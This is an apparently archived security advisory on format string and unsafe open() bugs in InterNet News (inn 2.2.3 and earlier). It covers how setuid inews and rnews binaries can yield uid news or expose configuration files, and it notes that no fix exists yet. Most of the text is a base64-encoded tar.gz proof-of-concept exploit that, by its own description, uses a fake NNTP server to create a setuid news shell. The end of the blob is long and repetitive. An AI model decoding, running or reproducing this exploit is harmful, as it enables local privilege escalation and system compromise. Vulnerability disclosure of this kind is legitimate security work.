|
COMMAND InterNet News format string overflow SYSTEMS AFFECTED inn <=2.2.3 PROBLEM Paul Starzetz [http://www.starzetz.com] says : There are several format string coding bugs as well as unsecure open() calls. In particular the inews and the rnews binaries are affected. This may lead to serious security problems if those binaries are installed set-uid and are executable by any user. In the case of inews, obtaining uid news is possible (which can be further used to replace/trojan other system files like the binaries themselves), in the case of rnews, access to probably sensitive inn configuration files seems possible (like inn password hashes etc). The attached archive contains a short proof of concept code for one of the format string bugs (look in the inews.sh script for more details) in the inews binary. The code has been succesfully tested against SuSE 7.0 where inews and rnews are setuid news. Later distributions seems to use another security conecept - the binaries are either only setgid news or are not runnable by ordinary users. The exploitation is technically difficult - it requires a fake NNTP server setup somewhere (the code comes with the tar package). Note: this is NOT a remote exploit. Look at the code for more technical details. The code will create a setuid news shell. Exploit : ======= Content-Type: application/octet-stream; name=\"innexpl.tar.gz\" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename=\"innexpl.tar.gz\" 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 W7VVW7VVW7VVW7VVW7VV+3/Y/g2I/YuhAFAAAA== SOLUTION Not yet.